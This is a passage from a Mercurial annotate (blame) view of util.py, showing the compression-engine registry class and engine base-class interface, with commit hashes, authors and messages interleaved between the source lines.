parents:
30332
diff
changeset
|
3072 """Holds registrations of various compression engines. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3073 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3074 This class essentially abstracts the differences between compression |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3075 engines to allow new compression formats to be added easily, possibly from |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3076 extensions. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3077 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3078 Compressors are registered against the global instance by calling its |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3079 ``register()`` method. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3080 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3081 def __init__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3082 self._engines = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3083 # Bundle spec human name to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3084 self._bundlenames = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3085 # Internal bundle identifier to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3086 self._bundletypes = {} |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3087 # Revlog header to engine name. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3088 self._revlogheaders = {} |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3089 # Wire proto identifier to engine name. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3090 self._wiretypes = {} |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3091 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3092 def __getitem__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3093 return self._engines[key] |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3094 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3095 def __contains__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3096 return key in self._engines |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3097 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3098 def __iter__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3099 return iter(self._engines.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3100 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3101 def register(self, engine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3102 """Register a compression engine with the manager. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3103 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3104 The argument must be a ``compressionengine`` instance. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3105 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3106 if not isinstance(engine, compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3107 raise ValueError(_('argument must be a compressionengine')) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3108 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3109 name = engine.name() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3110 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3111 if name in self._engines: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3112 raise error.Abort(_('compression engine %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3113 name) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3114 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3115 bundleinfo = engine.bundletype() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3116 if bundleinfo: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3117 bundlename, bundletype = bundleinfo |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3118 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3119 if bundlename in self._bundlenames: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3120 raise error.Abort(_('bundle name %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3121 bundlename) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3122 if bundletype in self._bundletypes: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3123 raise error.Abort(_('bundle type %s already registered by %s') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3124 (bundletype, self._bundletypes[bundletype])) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3125 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3126 # No external facing name declared. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3127 if bundlename: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3128 self._bundlenames[bundlename] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3129 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3130 self._bundletypes[bundletype] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3131 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3132 wiresupport = engine.wireprotosupport() |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3133 if wiresupport: |
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util: declare wire protocol support of compression engines
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3134 wiretype = wiresupport.name |
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|
3135 if wiretype in self._wiretypes: |
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parents:
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|
3136 raise error.Abort(_('wire protocol compression %s already ' |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3137 'registered by %s') % |
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|
3138 (wiretype, self._wiretypes[wiretype])) |
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|
3139 |
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|
3140 self._wiretypes[wiretype] = name |
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|
3141 |
30798
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|
3142 revlogheader = engine.revlogheader() |
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|
3143 if revlogheader and revlogheader in self._revlogheaders: |
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parents:
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|
3144 raise error.Abort(_('revlog header %s already registered by %s') % |
f50c0db50025
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parents:
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|
3145 (revlogheader, self._revlogheaders[revlogheader])) |
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|
3146 |
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|
3147 if revlogheader: |
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util: compression APIs to support revlog decompression
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parents:
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|
3148 self._revlogheaders[revlogheader] = name |
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|
3149 |
30350
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3150 self._engines[name] = engine |
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|
3151 |
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util: create new abstraction for compression engines
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|
3152 @property |
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|
3153 def supportedbundlenames(self): |
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3154 return set(self._bundlenames.keys()) |
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|
3155 |
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|
3156 @property |
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|
3157 def supportedbundletypes(self): |
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3158 return set(self._bundletypes.keys()) |
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|
3159 |
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|
3160 def forbundlename(self, bundlename): |
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|
3161 """Obtain a compression engine registered to a bundle name. |
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|
3162 |
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|
3163 Will raise KeyError if the bundle type isn't registered. |
30438
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|
3164 |
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|
3165 Will abort if the engine is known but not available. |
30350
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|
3166 """ |
30438
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|
3167 engine = self._engines[self._bundlenames[bundlename]] |
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|
3168 if not engine.available(): |
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diff
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|
3169 raise error.Abort(_('compression engine %s could not be loaded') % |
90933e4e44fd
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|
3170 engine.name()) |
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|
3171 return engine |
30350
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|
3172 |
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|
3173 def forbundletype(self, bundletype): |
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|
3174 """Obtain a compression engine registered to a bundle type. |
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|
3175 |
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diff
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|
3176 Will raise KeyError if the bundle type isn't registered. |
30438
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|
3177 |
90933e4e44fd
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|
3178 Will abort if the engine is known but not available. |
30350
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|
3179 """ |
30438
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|
3180 engine = self._engines[self._bundletypes[bundletype]] |
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|
3181 if not engine.available(): |
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|
3182 raise error.Abort(_('compression engine %s could not be loaded') % |
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|
3183 engine.name()) |
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|
3184 return engine |
30350
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|
3185 |
30761
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|
3186 def supportedwireengines(self, role, onlyavailable=True): |
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3187 """Obtain compression engines that support the wire protocol. |
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|
3188 |
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3189 Returns a list of engines in prioritized order, most desired first. |
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|
3190 |
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|
3191 If ``onlyavailable`` is set, filter out engines that can't be |
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|
3192 loaded. |
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|
3193 """ |
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|
3194 assert role in (SERVERROLE, CLIENTROLE) |
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|
3195 |
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|
3196 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
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|
3197 |
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|
3198 engines = [self._engines[e] for e in self._wiretypes.values()] |
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|
3199 if onlyavailable: |
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|
3200 engines = [e for e in engines if e.available()] |
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|
3201 |
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|
3202 def getkey(e): |
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|
3203 # Sort first by priority, highest first. In case of tie, sort |
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|
3204 # alphabetically. This is arbitrary, but ensures output is |
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|
3205 # stable. |
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|
3206 w = e.wireprotosupport() |
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|
3207 return -1 * getattr(w, attr), w.name |
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|
3208 |
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|
3209 return list(sorted(engines, key=getkey)) |
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|
3210 |
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|
3211 def forwiretype(self, wiretype): |
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|
3212 engine = self._engines[self._wiretypes[wiretype]] |
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|
3213 if not engine.available(): |
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|
3214 raise error.Abort(_('compression engine %s could not be loaded') % |
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|
3215 engine.name()) |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3216 return engine |
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|
3217 |
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|
3218 def forrevlogheader(self, header): |
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3219 """Obtain a compression engine registered to a revlog header. |
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|
3220 |
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|
3221 Will raise KeyError if the revlog header value isn't registered. |
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|
3222 """ |
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|
3223 return self._engines[self._revlogheaders[header]] |
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|
3224 |
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|
3225 compengines = compressormanager() |
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|
3226 |
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|
3227 class compressionengine(object): |
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3228 """Base class for compression engines. |
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|
3229 |
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3230 Compression engines must implement the interface defined by this class. |
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|
3231 """ |
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|
3232 def name(self): |
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|
3233 """Returns the name of the compression engine. |
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|
3234 |
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|
3235 This is the key the engine is registered under. |
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|
3236 |
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3237 This method must be implemented. |
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|
3238 """ |
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|
3239 raise NotImplementedError() |
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|
3240 |
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|
3241 def available(self): |
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3242 """Whether the compression engine is available. |
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|
3243 |
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|
3244 The intent of this method is to allow optional compression engines |
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|
3245 that may not be available in all installations (such as engines relying |
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|
3246 on C extensions that may not be present). |
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|
3247 """ |
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|
3248 return True |
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|
3249 |
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|
3250 def bundletype(self): |
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|
3251 """Describes bundle identifiers for this engine. |
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|
3252 |
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|
3253 If this compression engine isn't supported for bundles, returns None. |
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3254 |
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diff
changeset
|
3255 If this engine can be used for bundles, returns a 2-tuple of strings of |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3256 the user-facing "bundle spec" compression name and an internal |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3257 identifier used to denote the compression format within bundles. To |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3258 exclude the name from external usage, set the first element to ``None``. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3259 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3260 If bundle compression is supported, the class must also implement |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3261 ``compressstream`` and `decompressorreader``. |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3262 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3263 The docstring of this method is used in the help system to tell users |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3264 about this engine. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3265 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3266 return None |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3267 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3268 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3269 """Declare support for this compression format on the wire protocol. |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3270 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3271 If this compression engine isn't supported for compressing wire |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3272 protocol payloads, returns None. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3273 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3274 Otherwise, returns ``compenginewireprotosupport`` with the following |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3275 fields: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3276 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3277 * String format identifier |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3278 * Integer priority for the server |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3279 * Integer priority for the client |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3280 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3281 The integer priorities are used to order the advertisement of format |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3282 support by server and client. The highest integer is advertised |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3283 first. Integers with non-positive values aren't advertised. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3284 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3285 The priority values are somewhat arbitrary and only used for default |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3286 ordering. The relative order can be changed via config options. |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3287 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3288 If wire protocol compression is supported, the class must also implement |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3289 ``compressstream`` and ``decompressorreader``. |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3290 """ |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3291 return None |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
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|
3292 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3293 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3294 """Header added to revlog chunks that identifies this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3295 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3296 If this engine can be used to compress revlogs, this method should |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3297 return the bytes used to identify chunks compressed with this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3298 Else, the method should return ``None`` to indicate it does not |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3299 participate in revlog compression. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3300 """ |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3301 return None |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3302 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3303 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3304 """Compress an iterator of chunks. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3305 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3306 The method receives an iterator (ideally a generator) of chunks of |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3307 bytes to be compressed. It returns an iterator (ideally a generator) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
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|
3308 of bytes of chunks representing the compressed output. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3309 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3310 Optionally accepts an argument defining how to perform compression. |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
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|
3311 Each engine treats this argument differently. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3312 """ |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3313 raise NotImplementedError() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3314 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3315 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
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|
3316 """Perform decompression on a file object. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3317 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3318 Argument is an object with a ``read(size)`` method that returns |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3319 compressed data. Return value is an object with a ``read(size)`` that |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3320 returns uncompressed data. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3321 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3322 raise NotImplementedError() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3323 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3324 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3325 """Obtain an object that can be used to compress revlog entries. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3326 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3327 The object has a ``compress(data)`` method that compresses binary |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3328 data. This method returns compressed binary data or ``None`` if |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3329 the data could not be compressed (too small, not compressible, etc). |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3330 The returned data should have a header uniquely identifying this |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3331 compression format so decompression can be routed to this engine. |
30798
f50c0db50025
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3332 This header should be identified by the ``revlogheader()`` return |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3333 value. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3334 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3335 The object has a ``decompress(data)`` method that decompresses |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3336 data. The method will only be called if ``data`` begins with |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3337 ``revlogheader()``. The method should return the raw, uncompressed |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3338 data or raise a ``RevlogError``. |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3339 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3340 The object is reusable but is not thread safe. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3341 """ |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3342 raise NotImplementedError() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
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|
3343 |
38713
27391d74aaa2
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Joerg Sonnenberger <joerg@bec.de>
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diff
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|
3344 class _CompressedStreamReader(object): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
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diff
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|
3345 def __init__(self, fh): |
27391d74aaa2
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Joerg Sonnenberger <joerg@bec.de>
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38575
diff
changeset
|
3346 if safehasattr(fh, 'unbufferedread'): |
27391d74aaa2
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parents:
38575
diff
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|
3347 self._reader = fh.unbufferedread |
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diff
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|
3348 else: |
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|
3349 self._reader = fh.read |
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diff
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|
3350 self._pending = [] |
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|
3351 self._pos = 0 |
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|
3352 self._eof = False |
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|
3353 |
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|
3354 def _decompress(self, chunk): |
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diff
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|
3355 raise NotImplementedError() |
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|
3356 |
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|
3357 def read(self, l): |
27391d74aaa2
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diff
changeset
|
3358 buf = [] |
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diff
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|
3359 while True: |
27391d74aaa2
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|
3360 while self._pending: |
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diff
changeset
|
3361 if len(self._pending[0]) > l + self._pos: |
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diff
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|
3362 newbuf = self._pending[0] |
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diff
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|
3363 buf.append(newbuf[self._pos:self._pos + l]) |
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|
3364 self._pos += l |
27391d74aaa2
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|
3365 return ''.join(buf) |
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|
3366 |
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38575
diff
changeset
|
3367 newbuf = self._pending.pop(0) |
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|
3368 if self._pos: |
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diff
changeset
|
3369 buf.append(newbuf[self._pos:]) |
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diff
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|
3370 l -= len(newbuf) - self._pos |
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diff
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|
3371 else: |
27391d74aaa2
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diff
changeset
|
3372 buf.append(newbuf) |
27391d74aaa2
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diff
changeset
|
3373 l -= len(newbuf) |
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diff
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|
3374 self._pos = 0 |
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changeset
|
3375 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3376 if self._eof: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
